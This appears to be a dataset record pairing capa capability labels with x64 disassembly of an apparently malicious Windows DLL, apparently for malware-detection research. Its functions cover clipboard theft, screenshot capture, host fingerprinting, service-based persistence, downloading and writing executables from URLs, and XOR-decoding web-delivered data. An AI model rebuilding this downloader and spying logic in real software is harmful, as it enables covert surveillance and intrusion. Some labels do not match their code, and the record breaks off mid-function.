joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006c60
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x58], rbx
xor ecx, ecx
mov qword [rsp + 0x30], rsi
mov rsi, rdx
movsxd rbx, r8d
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10006ce6
mov qword [rsp + 0x28], rdi
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, rbx
mov ecx, 0x2000
mov rdi, rbx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
test rax, rax
mov rbx, rax
je 0x10006cdb
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, rbx
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalFree]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rdi, qword [rsp + 0x28]
mov rsi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x58]
add rsp, 0x38
ret

Function at 0x10006d00
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub rsp, 0x28
mov qword [rsp + 0x20], r12
mov r12, rcx
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10006dc9
mov ecx, 1
mov qword [rsp + 0x38], rbp
call qword [sym.imp.USER32.dll_GetClipboardData]
test rax, rax
mov rbp, rax
jne 0x10006d49
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rbp, qword [rsp + 0x38]
mov r12, qword [rsp + 0x20]
add rsp, 0x28
ret
mov qword [rsp + 0x30], rbx
mov rcx, rax
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rdi
call qword [sym.imp.KERNEL32.dll_GlobalSize]
mov rcx, rbp
lea esi, [rax + 1]
call qword [sym.imp.KERNEL32.dll_GlobalLock]
movsxd rcx, esi
mov rbx, rax
call sub.msvcrt.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__
lea ecx, [rsi - 1]
movsxd r8, ecx
lea rcx, [rax + 1]
mov rdx, rbx
mov rdi, rax
mov byte [rax], 0x76
call sub.msvcrt.dll_memcpy
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov r8d, esi
mov rdx, rdi
mov rcx, r12
call fcn.10005c00
mov rcx, rdi
call sub.msvcrt.dll_void___cdecl_operator_delete_void____ptr64_
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov r12, qword [rsp + 0x20]
add rsp, 0x28
ret
Function at 0x100079e0
Capabilities:
Capture screenshot

Disassembly:
mov r11, rsp
sub rsp, 0x98
mov qword [r11 - 0x10], rbp
mov qword [r11 - 0x18], rsi
mov esi, dword [rsp + 0xc0]
mov qword [r11 - 0x20], rdi
mov qword [r11 - 0x28], r12
mov qword [r11 - 0x30], r13
mov qword [r11 - 0x38], r14
mov qword [r11 - 0x40], r15
xor r15d, r15d
test esi, esi
mov ebp, r9d
mov r12, r8
mov edi, r15d
mov r13, rdx
mov r14, rcx
jle 0x10007a83
lea eax, [r15 + 0x32]
mov qword [r11 - 8], rbx
nop
nop
mov ebx, esi
mov r9d, ebp
mov r8d, edi
sub ebx, edi
mov rcx, r13
cmp ebx, 0x32
cmova ebx, eax
mov eax, dword [r14 + 0x14]
xor edx, edx
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], ebx
call qword [sym.imp.GDI32.dll_BitBlt]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_Sleep]
add edi, ebx
mov eax, gethostbyname
cmp edi, esi
jl 0x10007a30
mov rbx, qword [rsp + 0x90]
mov r15, qword [rsp + 0x58]
mov r14, qword [rsp + 0x60]
mov r13, qword [rsp + 0x68]
mov r12, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x88]
add rsp, 0x98
ret
Function at 0x10007ee0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
sub rsp, 0x68
mov eax, dword [rcx + 0x14]
mov r9d, dword [rcx + 0x30]
mov qword [r11 + 8], rbx
mov dword [rsp + 0x40], eax
mov rax, qword [rcx + 0x50]
mov qword [r11 + 0x10], rbp
mov dword [rsp + 0x38], edx
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
mov qword [r11 - 8], r12
mov rdi, rcx
mov rcx, qword [rcx + 0x58]
mov qword [r11 - 0x10], r13
mov ebx, edx
xor r13d, r13d
mov dword [r11 - 0x38], r13d
mov qword [r11 - 0x40], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 1
call qword [sym.imp.GDI32.dll_BitBlt]
mov esi, dword [rdi + 0x34]
mov rbp, qword [rdi + 0x80]
sub esi, ebx
lea eax, [rbx + 0x26]
mov edx, 0xffffffff
dec esi
lea r8d, [rbx - 0x13]
lea rcx, [rdi + 0x3c]
mov r9d, edx
mov dword [rsp + 0x20], eax
imul esi, dword [rdi + 0xac]
add esi, dword [rdi + 0x88]
call qword [sym.imp.USER32.dll_SetRect]
mov edx, dword [rdi + 0x30]
test edx, edx
mov rbx, qword [rsp + 0x70]
mov r11d, r13d
jle 0x10007faf
movzx ecx, byte [rdi + 0x2c]
mov eax, dword [rbp]
cmp dword [rsi], eax
je 0x10007f9f
cmp dword [rdi + 0x44], r13d
jge 0x10007f98
lea eax, [r11 - 0x18]
mov dword [rdi + 0x3c], eax
lea eax, [r11 + 0x18]
mov dword [rdi + 0x44], eax
add r11d, ecx
add rsi, 4
add rbp, 4
cmp r11d, edx
jl 0x10007f84
mov r8d, dword [rdi + 0x44]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
cmp r8d, 0xffffffff
jle 0x10008009
mov eax, dword [rdi + 0x3c]
mov ecx, r13d
test eax, eax
cmovg ecx, eax
mov eax, dword [rdi + 0x40]
test eax, eax
mov dword [rdi + 0x3c], ecx
mov ecx, dword [rdi + 0x34]
cmovg r13d, eax
mov eax, dword [rdi + 0x48]
cmp r8d, edx
cmovl edx, r8d
cmp eax, ecx
mov dword [rdi + 0x40], r13d
cmovl ecx, eax
mov dword [rdi + 0x44], edx
lea rdx, [rdi + 0x3c]
mov dword [rdi + 0x48], ecx
mov rcx, rdi
call fcn.100077f0
mov al, 1
jmp 0x1000800b
xor al, al
mov r13, qword [rsp + 0x58]
mov r12, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x88]
add rsp, 0x68
ret
Function at 0x10008290
Capabilities:
Terminate process
Terminate thread

Disassembly:
push rbx
sub rsp, 0x20
lea rax, [0x10013d30]
mov rbx, rcx
xor edx, edx
mov qword [rcx], rax
mov rcx, qword [rcx + 0x50]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbx + 0x40]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbx + 0x48]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbx + 0x58]
mov edx, 0x7d0
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbx + 0x58]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x100082f1
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rbx + 0x28]
test rcx, rcx
je 0x10008300
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x1000830f
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x1000831e
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rbx + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.10005bd0
Function at 0x10008c20
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov r11, rsp
sub rsp, 0xcc8
mov rax, qword [0x1001b2a8]
mov qword [rsp + 0xc70], rax
test rcx, rcx
mov qword [r11 - 8], rbx
mov qword [r11 - 0x10], rbp
mov rbp, qword [rsp + 0xd00]
mov qword [r11 - 0x20], rdi
mov rdi, qword [rsp + 0xcf8]
mov qword [r11 - 0x28], r12
mov qword [r11 - 0x30], r13
mov qword [r11 - 0x38], r14
mov qword [r11 - 0x40], r15
mov r15, qword [rsp + 0xcf0]
mov qword [rsp + 0x50], rdi
mov r14, r9
mov r13, r8
mov r12, rdx
mov rbx, rcx
mov qword [rsp + 0x60], rbp
jne 0x10008c8f
xor al, al
jmp 0x10008e78
lea rdx, str.http:__
mov qword [rsp + 0xcb0], rsi
mov dword [rsp + 0x40], 0
xor sil, sil
call qword [sym.imp.msvcrt.dll_strstr]
test rax, rax
jne 0x10008cf0
lea rdx, str.https:__
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_strstr]
test rax, rax
jne 0x10008cf0
mov qword [rsp + 0x30], rbp
mov r9, r14
mov r8, r13
mov rdx, r12
mov rcx, rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r15
call fcn.10008a90
mov al, 1
jmp 0x10008e70
lea rcx, str.Mozilla_4.0__compatible_
xor edi, edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], edi
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
mov qword [rsp + 0x58], rax
jne 0x10008d1c
xor al, al
jmp 0x10008e70
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0x80000100
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
test rax, rax
mov rbp, rax
je 0x10008d15
nop
nop
nop
nop
lea rcx, [rsp + 0x470]
xor edx, edx
mov r8d, 0x800
call sub.msvcrt.dll_memset
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x470]
mov r8d, 0x800
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetReadFile]
lea rdx, str.AAAA
lea rcx, [rsp + 0x470]
call qword [sym.imp.msvcrt.dll_strstr]
test rax, rax
mov rbx, rax
je 0x10008e4e
add rbx, 4
lea rdx, str.AAAA
mov rcx, rbx
call qword [sym.imp.msvcrt.dll_strstr]
test rax, rax
mov rdi, rax
je 0x10008e4e
lea rcx, [rsp + 0x70]
xor edx, edx
mov r8d, 0x400
call sub.msvcrt.dll_memset
sub rdi, rbx
lea rcx, [rsp + 0x70]
mov r8, rdi
mov rdx, rbx
call sub.msvcrt.dll_memcpy
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x48], 0
call fcn.100088d0
mov rcx, qword [rsp + 0x48]
xor edx, edx
test eax, eax
movsxd r8, eax
jle 0x10008e24
nop
movzx eax, byte [rdx + rcx]
inc rdx
add al, 0x7a
xor al, 0x19
cmp rdx, r8
mov byte [rdx + rcx - 1], al
jl 0x10008e10
mov rax, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x50]
mov r9, r14
mov qword [rsp + 0x30], rax
mov r8, r13
mov rdx, r12
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r15
call fcn.10008a90
mov sil, 1
cmp dword [rsp + 0x40], 0
ja 0x10008d50
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, sil
mov rsi, qword [rsp + 0xcb0]
mov r15, qword [rsp + 0xc88]
mov r14, qword [rsp + 0xc90]
mov r13, qword [rsp + 0xc98]
mov r12, qword [rsp + 0xca0]
mov rdi, qword [rsp + 0xca8]
mov rbp, qword [rsp + 0xcb8]
mov rbx, qword [rsp + 0xcc0]
mov rcx, qword [rsp + 0xc70]
call fcn.100120f0
add rsp, 0xcc8
ret
Function at 0x10008ed0
Capabilities:
Check os version
Get cpu information
Get hostname
Get local ipv4 addresses
Get socket information
Query or enumerate registry value

Disassembly:
mov r11, rsp
sub rsp, 0x728
mov rax, qword [0x1001b2a8]
mov qword [rsp + 0x700], rax
mov qword [r11 + 0x20], rbx
mov qword [r11 - 8], rsi
mov qword [r11 - 0x10], rdi
lea rcx, [rsp + 0x74]
mov esi, r8d
mov rdi, rdx
mov byte [rsp + 0x70], 0x66
mov byte [rsp + 0x14a], 0
mov dword [rsp + 0x74], 0x9c
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
lea rcx, [rsp + 0x150]
xor edx, edx
mov r8d, 0x100
call sub.msvcrt.dll_memset
lea rcx, [rsp + 0x300]
xor edx, edx
mov r8d, 0x400
call sub.msvcrt.dll_memset
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersion
lea rcx, [rsp + 0x300]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor ebx, ebx
lea rax, [rsp + 0x150]
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], 0x100
lea r8, str.Host
lea r9d, [rbx + 1]
lea rdx, [rsp + 0x300]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call fcn.10005d50
lea rcx, [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x10008fbe
lea rcx, [rsp + 0x150]
mov edx, 0x100
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rsp + 0x150]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [rdi + 0x130]
xor r11d, r11d
lea r8, [rsp + 0x44]
lea rdx, [rsp + 0x58]
mov dword [rsp + 0x58], r11d
mov dword [rsp + 0x5c], r11d
mov dword [rsp + 0x60], r11d
mov dword [rsp + 0x64], r11d
mov dword [rsp + 0x44], reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_getsockname]
mov r11d, dword [rsp + 0x5c]
lea rcx, [rsp + 0x150]
lea rdx, [rsp + 0x118]
mov dword [rsp + 0x114], r11d
mov rax, qword [rcx]
lea r8, [rsp + 0x50]
mov dword [rsp + 0x4c], 4
mov qword [rdx], rax
mov rax, qword [rcx + 8]
mov dword [rsp + 0x40], 4
mov qword [rdx + 8], rax
mov rax, qword [rcx + 0x10]
mov qword [rdx + 0x10], rax
mov rax, qword [rcx + 0x18]
mov qword [rdx + 0x18], rax
mov rax, qword [rcx + 0x20]
mov qword [rdx + 0x20], rax
mov rax, qword [rcx + 0x28]
mov qword [rdx + 0x28], rax
movzx eax, word [rcx + 0x30]
mov rcx, 0xffffffff80000002
mov word [rdx + 0x30], ax
lea rdx, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov rcx, qword [rsp + 0x50]
lea r11, [rsp + 0x4c]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], r11
lea r9, [rsp + 0x40]
lea rdx, str.MHz
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov r11d, dword [rsp + 0x48]
xor al, al
mov dword [rsp + 0x110], r11d
test al, al
jne 0x100090fb
lea r9, [rsp + 0x250]
lea rdx, [rsp + 0x290]
mov r8d, 0x64
mov ecx, ebx
mov dword [rsp + 0x20], gethostbyname
call sub.AVICAP32.dll_capGetDriverDescriptionA
test eax, eax
setne al
inc ebx
cmp ebx, 0xa
jl 0x100090c6
lea rdx, [rsp + 0x70]
mov r8d, 0xe0
mov rcx, rdi
mov byte [rsp + 0x14a], al
mov dword [rsp + 0x14c], esi
call fcn.100027c0
mov rdi, qword [rsp + 0x718]
mov rsi, qword [rsp + 0x720]
mov rbx, qword [rsp + 0x748]
mov rcx, qword [rsp + 0x700]
call fcn.100120f0
add rsp, 0x728
ret
Function at 0x10009640
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov rax, rsp
sub rsp, 0x278
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
mov rax, qword [0x1001b2a8]
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x38], 0
mov r8d, 0x1f4
lea rdx, str.SYSTEMCurrentControlSetServicesWmiApSrv
lea rcx, [rsp + 0x60]
call qword [sym.imp.msvcrt.dll_strncpy]
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x60]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x100096c3
lea rax, [0x10013978]
mov qword [rsp + 0x48], rax
lea rdx, [0x100178f8]
lea rcx, [rsp + 0x48]
call sub.msvcrt.dll__CxxThrowException
mov dword [rsp + 0x30], reloc.WS2_32.dll_recv
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdi, str.Start
mov rdx, rdi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ebx, eax
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_SetLastError]
test ebx, ebx
je 0x1000975d
mov qword [rsp + 0x40], rdi
lea rdx, [0x100178f8]
lea rcx, [rsp + 0x40]
call sub.msvcrt.dll__CxxThrowException
nop
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x260]
call fcn.100120f0
mov rbx, qword [rsp + 0x290]
mov rdi, qword [rsp + 0x298]
add rsp, 0x278
ret

Function at 0x100097d0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
test edx, edx
je 0x1000982d
cmp edx, 2
ja 0x1000982d
cmp byte [0x1001b6e0], 0
mov qword [0x1001b808], rcx
jne 0x1000982d
lea rcx, str.wmiapsrv.exe
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x10009803
call fcn.10009640
xor eax, eax
lea r9, str.Comenius
lea r8, [0x100091a0]
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
mov byte [0x1001b6e0], 1
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret
Function at 0x1000a370
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov r11, rsp
sub rsp, 0x488
mov rax, qword [0x1001b2a8]
mov qword [rsp + 0x450], rax
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rbp
mov qword [r11 - 0x10], rdi
mov qword [r11 - 0x18], r12
mov rbx, rcx
mov qword [r11 - 0x20], r13
mov qword [r11 - 0x28], r14
xor r14d, r14d
mov rbp, rdx
lea rcx, str.Mozilla_4.0__compatible_
mov edi, 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x44], r14d
mov dword [rsp + 0x20], r14d
mov r12d, edi
call qword [sym.imp.WININET.dll_InternetOpenA]
test rax, rax
mov r13, rax
je 0x1000a4dd
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x480], rsi
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
test rax, rax
mov rsi, rax
je 0x1000a4d5
mov qword [rsp + 0x30], r14
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rbp
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
mov rbx, rax
je 0x1000a4bd
nop
nop
nop
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x400
call sub.msvcrt.dll_memset
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x400
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test edi, edi
je 0x1000a488
cmp word [rsp + 0x50], 0x5a4d
jne 0x1000a4b1
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x50]
mov rcx, rbx
mov edi, r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x40], r14d
ja 0x1000a450
jmp 0x1000a4b4
mov r12d, r14d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test r12d, r12d
setne al
mov rsi, qword [rsp + 0x480]
mov r14, qword [rsp + 0x460]
mov r13, qword [rsp + 0x468]
mov r12, qword [rsp + 0x470]
mov rdi, qword [rsp + 0x478]
mov rbp, qword [rsp + 0x4a8]
mov rbx, qword [rsp + 0x4a0]
mov rcx, qword [rsp + 0x450]
call fcn.100120f0
add rsp, 0x488
ret

Function at 0x1000a5c0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
movzx eax, byte [rsp + 0xa0]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x30], r8
mov rbx, rdx
mov qword [rsp + 0x38], r9
mov qword [rsp + 0x58], rdi
mov rdi, rcx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov byte [rsp + 0x40], al
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
lea r8, [0x1000a530]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x98]
mov edx, ebx
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x90]
mov rcx, rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.msvcrt.dll__beginthreadex]
mov rcx, qword [rsp + 0x48]
mov edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x60]
add rsp, 0x68
ret
Function at 0x1000b080
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x58
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r13
mov rbx, rcx
call fcn.1000a800
test al, al
je 0x1000b1e7
mov ecx, gethostbyname
call sub.msvcrt.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__
mov qword [rsp + 0x28], rax
xor r12d, r12d
test rax, rax
je 0x1000b0dc
mov rcx, rax
call fcn.1000abb0
jmp 0x1000b0df
mov rax, r12
mov qword [rbx + 0x28], rax
mov edx, dword [rbx + 0x3c]
test edx, edx
je 0x1000b100
mov r8d, dword [rbx + 0x40]
test r8d, r8d
je 0x1000b100
mov rcx, rax
call fcn.1000a8d0
movzx ebp, al
jmp 0x1000b142
mov edx, 0x160
lea r8d, [rdx - 0x40]
mov rcx, rax
call fcn.1000a8d0
mov bpl, al
test al, al
jne 0x1000b14e
mov edx, 0xb0
lea r8d, [rdx - 0x20]
mov rcx, qword [rbx + 0x28]
call fcn.1000a8d0
mov bpl, al
test al, al
jne 0x1000b14e
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbx + 0x28]
call fcn.1000a8d0
mov bpl, al
test bpl, bpl
jne 0x1000b14e
xor al, al
jmp 0x1000b1e7
mov dword [rsp + 0x28], 0x3336324d
mov dword [rsp + 0x2c], 0x32335649
mov dword [rsp + 0x30], 0x3234504d
mov dword [rsp + 0x34], 0x64697663
mov edi, r12d
lea rsi, [rsp + 0x28]
lea r13, [0x10013f50]
nop
mov ecx, 0xa8
call sub.msvcrt.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__
test rax, rax
je 0x1000b198
mov qword [rax], r13
mov qword [rax + 0x70], r12
jmp 0x1000b19b
mov rax, r12
mov qword [rbx + 0x30], rax
mov rdx, qword [rbx + 0x28]
mov r8d, dword [rsi]
mov rdx, qword [rdx + 0x10]
mov rcx, rax
call fcn.1000ad40
test al, al
jne 0x1000b1da
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x1000b1c9
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
mov qword [rbx + 0x30], r12
inc edi
add rsi, 4
cmp edi, 4
jb 0x1000b180
jmp 0x1000b1e4
movsxd rax, edi
mov ecx, dword [rsp + rax*4 + 0x28]
mov dword [rbx + 0x38], ecx
mov al, bpl
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
mov r12, qword [rsp + 0x50]
mov r13, qword [rsp + 0x48]
add rsp, 0x58
ret
Function at 0x1000bde0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub rsp, 0x38
mov qword [rsp + 0x48], rbp
mov qword [rsp + 0x58], rdi
mov edi, dword [rcx + 0x38]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r13
mov rbp, rcx
nop
nop
mov edx, dword [rbp + 0x8c]
mov ebx, dword [rbp + 0x50]
mov eax, dword [rbp + 0x94]
sub ebx, edx
sub ebx, eax
jne 0x1000be34
test edx, edx
jne 0x1000be43
test eax, eax
jne 0x1000be43
mov ebx, edi
jmp 0x1000becc
cmp ebx, 0xffffffff
jne 0x1000be43
mov ebx, 0xfffffffe
jmp 0x1000becc
mov eax, dword [rbp + 0x38]
lea ecx, [rdi + rax - 0x106]
cmp edx, ecx
jb 0x1000becc
mov rcx, qword [rbp + 0x48]
mov r8, rdi
lea rdx, [rcx + rdi]
call sub.msvcrt.dll_memcpy
mov r8d, dword [rbp + 0x6c]
mov rax, qword [rbp + 0x60]
sub dword [rbp + 0x90], edi
sub dword [rbp + 0x8c], edi
sub dword [rbp + 0x7c], edi
lea rdx, [rax + r8*2]
movzx eax, word [rdx - 2]
sub rdx, 2
cmp eax, edi
jb 0x1000be90
sub eax, edi
jmp 0x1000be92
xor eax, eax
add r8d, 0xffffffff
mov word [rdx], ax
jne 0x1000be80
mov rax, qword [rbp + 0x58]
mov edx, edi
lea rcx, [rax + rdi*2]
nop
nop
nop
movzx eax, word [rcx - 2]
sub rcx, 2
cmp eax, edi
jb 0x1000bec0
sub eax, edi
jmp 0x1000bec2
xor eax, eax
add edx, 0xffffffff
mov word [rcx], ax
jne 0x1000beb0
add ebx, edi
mov rsi, qword [rbp]
cmp dword [rsi + 8], 0
je 0x1000bf8d
mov eax, dword [rbp + 0x8c]
mov r13d, dword [rbp + 0x94]
add r13, rax
mov eax, dword [rsi + 8]
add r13, qword [rbp + 0x48]
cmp eax, ebx
mov r12d, eax
cmova r12d, ebx
test r12d, r12d
je 0x1000bf38
sub eax, r12d
mov dword [rsi + 8], eax
mov rax, qword [rsi + 0x28]
cmp dword [rax + 0x2c], 0
jne 0x1000bf20
mov rdx, qword [rsi]
mov ecx, dword [rsi + 0x4c]
mov r8d, r12d
call fcn.1000d790
mov dword [rsi + 0x4c], eax
mov rdx, qword [rsi]
mov r8d, r12d
mov rcx, r13
mov ebx, r12d
call sub.msvcrt.dll_memcpy
add qword [rsi], rbx
add dword [rsi + 0xc], r12d
add dword [rbp + 0x94], r12d
mov r9d, dword [rbp + 0x94]
cmp r9d, 3
jb 0x1000bf76
mov eax, dword [rbp + 0x8c]
mov rdx, qword [rbp + 0x48]
mov ecx, dword [rbp + 0x78]
movzx r8d, byte [rax + rdx]
mov dword [rbp + 0x68], r8d
shl r8d, cl
inc eax
movzx eax, byte [rax + rdx]
xor r8d, eax
and r8d, dword [rbp + 0x74]
mov dword [rbp + 0x68], r8d
cmp r9d, 0x106
jae 0x1000bf8d
mov rax, qword [rbp]
cmp dword [rax + 8], 0
